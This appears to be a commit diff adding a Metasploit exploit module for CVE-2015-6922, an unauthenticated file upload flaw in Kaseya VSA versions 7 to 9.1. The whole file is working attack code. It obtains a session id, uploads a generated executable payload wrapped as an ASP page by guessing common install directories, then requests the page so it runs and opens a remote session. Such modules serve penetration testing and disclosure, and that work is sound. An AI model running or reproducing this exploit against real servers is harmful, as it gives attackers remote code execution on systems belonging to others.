|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + include Msf::Exploit::EXE |
| 13 | + include Msf::Exploit::FileDropper |
| 14 | + |
| 15 | + def initialize(info = {}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => 'Kaseya VSA uploader.aspx Arbitrary File Upload', |
| 18 | + 'Description' => %q{ |
| 19 | +This module exploits an arbitrary file upload vulnerability found in Kaseya VSA versions between |
| 20 | +7 and 9.1. A malicious unauthenticated user can upload an ASP file to an arbitrary directory |
| 21 | +leading to arbitrary code execution with IUSR privileges. This module has been tested with |
| 22 | +Kaseya v7.0.0.17, v8.0.0.10 and v9.0.0.3. |
| 23 | +}, |
| 24 | + 'Author' => |
| 25 | + [ |
| 26 | + 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and updated MSF module |
| 27 | + ], |
| 28 | + 'License' => MSF_LICENSE, |
| 29 | + 'References' => |
| 30 | + [ |
| 31 | + ['CVE', '2015-6922'], |
| 32 | + ['ZDI', '15-449'], |
| 33 | + ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/kaseya-vsa-vuln-2.txt'], |
| 34 | + ['URL', 'TODO_FULLDISC_URL'] |
| 35 | + ], |
| 36 | + 'Platform' => 'win', |
| 37 | + 'Arch' => ARCH_X86, |
| 38 | + 'Privileged' => false, |
| 39 | + 'Targets' => |
| 40 | + [ |
| 41 | + [ 'Kaseya VSA v7 to v9.1', {} ] |
| 42 | + ], |
| 43 | + 'DefaultTarget' => 0, |
| 44 | + 'DisclosureDate' => 'Sep 23 2015')) |
| 45 | + end |
| 46 | + |
| 47 | + |
| 48 | + def check |
| 49 | + res = send_request_cgi({ |
| 50 | + 'method' => 'GET', |
| 51 | + 'uri' => normalize_uri('ConfigTab','uploader.aspx') |
| 52 | + }) |
| 53 | + if res and res.code == 302 and res.body.to_s =~ /mainLogon\.asp\?logout=([0-9]*)/ |
| 54 | + return Exploit::CheckCode::Appears |
| 55 | + else |
| 56 | + return Exploit::CheckCode::Unknown |
| 57 | + end |
| 58 | + end |
| 59 | + |
| 60 | + |
| 61 | + def upload_file(payload, path, filename, sessionId) |
| 62 | + print_status("#{peer} - Uploading payload to #{path + 'WebPages\\'}...") |
| 63 | + res = send_request_cgi({ |
| 64 | + "method" => "POST", |
| 65 | + 'uri' => normalize_uri('ConfigTab','uploader.aspx'), |
| 66 | + "vars_get" => { |
| 67 | + "PathData" => path + 'WebPages' + '\\', |
| 68 | + "qqfile" => filename |
| 69 | + }, |
| 70 | + "data" => payload, |
| 71 | + "ctype" => "application/octet-stream", |
| 72 | + "cookie" => "sessionId=" + sessionId |
| 73 | + }) |
| 74 | + |
| 75 | + if res and res.code == 200 and res.body.to_s =~ /"success": "true"/ |
| 76 | + return true |
| 77 | + else |
| 78 | + return false |
| 79 | + end |
| 80 | + end |
| 81 | + |
| 82 | + |
| 83 | + def exploit |
| 84 | + res = send_request_cgi({ |
| 85 | + 'method' => 'GET', |
| 86 | + 'uri' => normalize_uri('ConfigTab','uploader.aspx') |
| 87 | + }) |
| 88 | + if res and res.code == 302 and res.body.to_s =~ /mainLogon\.asp\?logout=([0-9]*)/ |
| 89 | + sessionId = $1 |
| 90 | + |
| 91 | + asp_name = "#{rand_text_alpha_lower(8)}.asp" |
| 92 | + exe = generate_payload_exe |
| 93 | + payload = Msf::Util::EXE.to_exe_asp(exe).to_s |
| 94 | + |
| 95 | + paths = [ |
| 96 | + # We have to guess the path, so just try the most common directories |
| 97 | + 'C:\\Kaseya\\', |
| 98 | + 'C:\\Program Files\\Kaseya\\', |
| 99 | + 'C:\\Program Files (x86)\\Kaseya\\', |
| 100 | + 'D:\\Kaseya\\', |
| 101 | + 'D:\\Program Files\\Kaseya\\', |
| 102 | + 'D:\\Program Files (x86)\\Kaseya\\', |
| 103 | + 'E:\\Kaseya\\', |
| 104 | + 'E:\\Program Files\\Kaseya\\', |
| 105 | + 'E:\\Program Files (x86)\\Kaseya\\', |
| 106 | + ] |
| 107 | + |
| 108 | + for path in paths |
| 109 | + if upload_file(payload, path, asp_name, sessionId) |
| 110 | + register_files_for_cleanup(path + "WebPages\\" + asp_name) |
| 111 | + print_status("#{peer} - Executing payload #{asp_name}") |
| 112 | + res = send_request_cgi({ |
| 113 | + 'uri' => normalize_uri(asp_name), |
| 114 | + 'method' => 'GET' |
| 115 | + }) |
| 116 | + handler |
| 117 | + break |
| 118 | + end |
| 119 | + end |
| 120 | + else |
| 121 | + fail_with(Failure::NoAccess, "#{peer} - Failed to create a valid session") |
| 122 | + end |
| 123 | + end |
| 124 | +end |
0 commit comments